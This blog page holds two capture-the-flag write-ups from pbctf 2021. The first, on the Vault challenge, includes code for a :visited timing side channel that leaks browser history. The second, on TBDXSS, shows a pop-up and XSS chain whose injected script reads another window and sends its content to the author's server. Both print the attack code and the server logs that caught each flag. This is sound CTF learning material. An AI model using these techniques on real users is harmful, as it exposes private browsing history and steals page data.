Monday, October 11, 2021

Write up pbctf 2021: Vault

 This weekend I participated in the 2021 Perfect Blue CTF. This is my writeup for the Vault challenge


Can you unlock the secret from the vault?

Notes The admin will visit

Author: vakzz


We're presented with a page containing the numbers 1- 32, along with a report link feature. If you click on the numbers enough layers deep, you'll eventually allowed to put text into the page (Just text, no XSS). The layers form a directory structure in the url.

The report url feature triggers headless chrome to click through a bunch of numbers at random. After it goes 14 layers deep it inputs the flag on to the page. After that it navigates to whatever page you reported. Note: Unlike some of the other challenges, the headless chrome instance is not in incognito mode. This is important for the challenge.

It seems clear, that the goal is to try and find some way to read the history of the browser that visits your page.


I spent a lot time banging my head against this one. Surely it should be impossible to see the user's history. That would be a major privacy violation. After all, isn't that why the :visited CSS pseudo-class is so restricted? Turns out its not restricted enough.

In trying to solve this problem, I read through - which is a great resource for unintuitive security properties in browsers. lead me to a chrome bug which had a proof of concept for leaking history through timing side channels using :visited pseudo class. The bug is wontfix - I guess browser-vendors at some point just decided to give up on preventing this type of leak. One caveat though, is :visited is totally disabled in incognito mode, so it doesn't work in that mode.

It took some fiddling with the parameters to make the PoC work in the time limit that the report-url bot had. The PoC seemed to be much slower on the report bot than it was locally. I eventually found that using a text-shadow of black 1px 1px 20px, a font-size of 2px, 150 links and 10000 link length gave good results.

 I then modified it to look for vault urls, and had it send the results to my server. See below for the exact code used

Eventually I got a log entry that looked like: - - [10/Oct/2021:09:40:51 +0000] "GET /log? HTTP/1.1" 404 489 "" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4655.0 Safari/537.36"

And sure enough had the flag (I think there's some max-age stuff, so it doesn't have the flag anymore)

Appendix - timing attack code

I was more concerned with getting the exploit working than nice code, so I took the existing PoC and made minor modifications. The result is some not very clear code. I would encourage you to look at the original PoC linked from first. To be clear, all the smart stuff about this was not made by me

<!DOCTYPE html>
#out a { color: blue }
#out a:visited { color: purple }
#out { 
  font-size: 5px; 
  overflow: hidden; 
  padding: 20px; 
#stats { position:absolute; right:0; top: 60px; left: 40%}
p { margin: 4px 0 }
.linklist span.visited { visibility: hidden; color: white;  background: green; border-radius: 5px;  padding: 2px; font-size: 8pt }
.linklist span.visited.yes { visibility: visible }
.linklist .timings { font-family: monospace; font-size:8pt }
<body onload="updateParams()">
<h1>Detecting Visited Links via Redraw Timing</h1>
<div xonkeyup="updateParams()">
<p>text-shadow: <input id="text-shadow" value="black 1px 1px 20px" size="50"></p>
<p>opacity: <input id="opacity" size="2" value="1"> font-size: <input id="font-size" size="2" value="3">px</p>
<p>Links: <input id="textlines" value="150" size="2"> Link Length: <input id="textlen" value="10000" size="2"></p>

<div id="out" >


<div id="stats">
<p>Current URL: <span id="currentURL"></span></p>
<p id="nums"></p>
<button onclick="updateParams()">Start</button><button onclick="stop=true">Stop</button>
<div id="log"></div>
function log(param) {
	x = new XMLHttpRequest; 'GET', '' + encodeURIComponent(param), true );
	console.log( param );
log( "start" );
var baseUrl = '';
var urls;
function updateUrls(setup) {
	urls = [document.location.href, 'http://notvisited' + ((Math.random()*100000000)|0)+'.foo' ]
	for ( i = 1; i <=32; i++ ) {
		urls[urls.length] = baseUrl + i + '/';
	if (setup) {
requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame ||  
   window.webkitRequestAnimationFrame || window.msRequestAnimationFrame;  
var out = document.getElementById('out');
var currentURLout = document.getElementById('currentURL');

var linkspans = [];
var timespans = [];
var counter = 0;
var posTimes = [];
var negTimes = [];

var stop = true;
var start;
var currentUrl = 0;
var calibIters = 10;

function initStats() {
  currentUrl = 0;
  start = NaN;
  counter = 0;
  posTimes = [];
  negTimes = [];
  if (stop) {
    stop = false;

function updateParams() { = document.getElementById('text-shadow').value; = parseFloat(document.getElementById('opacity').value); = document.getElementById('font-size').value + 'px';
  textLines = parseInt(document.getElementById('textlines').value);
  textLen = parseInt(document.getElementById('textlen').value);
	log( "trying-" + textLines + '-' + textLen );
function write() {
  var s = '';
  var url = urls[currentUrl];
  var text ='';
  while (text.length < textLen)
    text += '#';
  for (var i=0; i<textLines; i++) {
    s += "<a href="+url;
    s += ">"+text;
    s += "</a> ";
  out.innerHTML = s;

function updateLinks() {
  var url = urls[currentUrl];
  for (var i=0; i<out.children.length; i++) {
    out.children[i].href = url;

function resetLinks() {
  for (var i=0; i<out.children.length; i++) {
    out.children[i].href = 'http://' + Math.random() + '.asd';

function median(list){
	list.sort(function(a,b){return a-b});
	if (list.length % 2){
		var odd = list.length / 2 - 0.5;
		return list[odd];
		var even = list[list.length / 2 - 1];
		even += list[list.length / 2];
		even = even / 2;
		return even;

var attempts = 0;
function loop(timestamp) {
  if (stop) return;
  var diff = (timestamp - start) | 0;
  start = timestamp;

  if (!isNaN(diff)) {
    if (counter%2 == 0) {
      if (counter > 4) {
        if (currentUrl == 0) { // calibrating visited
          document.getElementById('nums').textContent = 'Calibrating...';
          timespans[currentUrl].textContent = posTimes.join(', ');
        if (currentUrl == 1) { // calibrating unvisited
          timespans[currentUrl].textContent = negTimes.join(', ');
          if (negTimes.length >= calibIters) {
            var medianPos = median(posTimes);
            var medianNeg = median(negTimes);
            // if calibration didn't find a big enough difference between pos and neg, 
            // increase number of links and try again
            if (medianPos - medianNeg < 60) {
              document.getElementById('textlines').value = textLines + 50;
              document.getElementById('textlen').value = textLen + 2;
              stop = true;

            threshold = medianNeg + (medianPos - medianNeg)*.75;
            document.getElementById('nums').textContent = 'Median Visited: ' + medianPos + 'ms  / Median Unvisited: ' + medianNeg + 'ms / Threshold: ' + threshold + 'ms';
	    log( "Calibrated " + textLines +';' + textLen + '. Median Visited: ' + medianPos + 'ms  / Median Unvisited: ' + medianNeg + 'ms / Threshold: ' + threshold + 'ms' + ' diff:' + (medianPos - medianNeg) );
            timeStart =;
        if (currentUrl >= 2) {
            timespans[currentUrl].textContent = diff;
            linkspans[currentUrl].className = (diff >= threshold)? 'visited yes' : 'visited';
            incUrl = true;
	    if ( diff >= threshold ) {
		stop = true;
		attempts = 0;
	    	log( urls[currentUrl] );
		baseUrl = urls[currentUrl];
		currentUrl = 2;
		stop = false;
        // keep testing first two links until calibration is completed
        if (currentUrl == 2 && (negTimes.length < calibIters || posTimes.length < calibIters))
          currentUrl = 0;
        if (currentUrl == urls.length) {
		if (attempts > 5 ) {
          timeElapsed = ( - timeStart) / 1000;
          log("DONE: Time elapsed: " + timeElapsed + "s, tested " + (((urls.length -2)/timeElapsed)|0) + " URLs/sec"); 
          stop = true;
		} else {
			log( "Trying again" );
			currentUrl = 2;
        currentURLout.textContent = urls[currentUrl];
    } else {

function setupLinks() {
  var table = document.createElement('table');
  table.innerHTML = '<tr><th></th><th>URL</th><th>Times (ms)</th></tr>';
  table.className = 'linklist';
  for (var i=0; i < urls.length; i++) {
    var a = document.createElement('a');
    a.href = urls[i];
    a.textContent = urls[i];
    var times = document.createElement('span');
    times.className = 'timings';
    var tick = document.createElement('span');
    tick.textContent = '\u2713';
    tick.className = 'visited';
    var tr = document.createElement('tr');
    for (var j=0; j<3; j++) 
    timespans[i] = times;
    linkspans[i] = tick;

//setTimeout(loop, 2000);


Write-Up: pbctf 2021 - TBDXSS

This weekend I participated in the 2021 Perfect Blue ctf. This is my write-up on how to solve the TBDXSS challenge.

[Note: This post has mild spoilers for the vault problem as well]

The challenge

Here is the challenge description:

The TBD in the challenge name stands for ....

PS: Flag is admin bot's note.

Author: Jazzy


When we look at the web page, we find a notes app that stores a single note that an contain any html, along with a form to change the contents of the note. The contents of the note are stored in a cookie with sameSite=lax. All pages have X-Frame-options: deny.

There is also a "report a link" functionality, that triggers a headless chrome instance to visit a link of your choosing. This chrome instance has a cookie pre-installed that puts the flag into the note.

Finding the vulnerability

The first things I noticed:

  • There is no CSRF token on the form, so you can submit it cross-site
    • However, the sameSite=lax on the cookie means you have to actually navigate to the the result for the cookie to be set. You can't just post via AJAX
    • The X-Frame-Options: deny prevent you submitting the form into an <iframe> (using the target attribute on the form and name on the iframe)
    • The end result, is as far as I could tell, to change the note you would have to do a top-level navigation (e.g. via submitting a form) to change the note. The success page does not include the note, so you do not execute your JS after success.
  • You can put arbitrary html into the note (XSS!). However doing so deletes the previous contents of the note (The flag)


I struggled with this for a while. If not for the x-frame-options: deny, my approach would be:

  • Load the original note in an <iframe>
  • submit a form that changes the note into a different <iframe> (via target attribute on the form)
  • Load the new note in a new <iframe>. Since the two iframes belong to the same origin they should be able to have full access to each other

However, that was not to be because of the X-Frame-Options. A similar approach might be with pop-up windows, however, chrome's popup blocker would prevent that.

For a while I looked for ways to read pages cross-origin. That of course would be spitting in the face of the same origin policy, and is thus impossible. I probably should of recognized that the entirety of internet security is not a lie, and spent less time down that rabbit hole.

Later when looking at a different problem (Vault) I came to the key insight. Vault also has a similar setup with the, report a link headless chrome bot. However, the code between them had two major differences, which was suspicious.

  • TBDXSS was running in incognito mode, Vault was not (Important for the solution to vault)
  • Vault had code to ensure that all urls started with http. TBDXSS did not.

This meant that TBDXSS report feature could accept javascript: scheme urls. Thus the key XSS was not in the notes app, but in the headless chrome bot code.

 Furthermore, it appears that the chrome pop-up blocker does not apply to javascript: code in this context. (In local testing, in my normal chrome it seemed like you could only make a single pop-up from an about:blank page using javascript urls. When i tested it on the bot you could make multiple).

[Edit: After reading Sam Brow's write up for the same problem, it sounds like the pop-up blocker was disabled generally in puppeteer, so it was possible to solve this problem more directly and the javascript uri thing was unnecessary]

The Exploit

With that in mind, we can now make our exploit, using javascript urls to launch multiple pop-ups that can read from each other.

  • Launch a pop-up in a named window: '', 'first' )
  • Launch a second pop-up to a url controlled by us. This will contain a form with js to submit the form on page load, that changes the note to malicious JS.
    • The malicious JS code will involve something like:'', 'first').document.body.innerHTML; to read the contents of the first frame
  •  After a delay, navigate the second pop-up to so that the malicious JS is executed
  • The malicious JS reads the flag from the first pop-up, and sends it back to us

Putting it all together, the url we "report" is:

And the contents of my page is:

<base href=""></head><body>
<form action="/change_note" id="noteform" method=POST  >
 <input type="hidden" name="data"
    var first ='', 'first').document.body.innerHTML;
    x=new XMLHttpRequest;'GET', ''+encodeURIComponent(first));
 <input id="sub" type="submit" value="submit">
	document.getElementById( 'noteform' ).submit();

This results in the following in my apache log: - - [12/Oct/2021:03:17:59 +0000] "GET /notes.htm HTTP/1.1" 200 6138 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/93.0.4577.0 Safari/537.36" - - [12/Oct/2021:03:18:04 +0000] "GET /log?%0Apbctf%7Bg1t_m3_4_p4g3_r3f3r3nc3%7D%0A%0A%20%20%20%20 HTTP/1.1" 404 5702 "" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/93.0.4577.0 Safari/537.36"

De-urlencoding that, the flag is: pbctf{g1t_m3_4_p4g3_r3f3r3nc3}. Thus the problem is solved.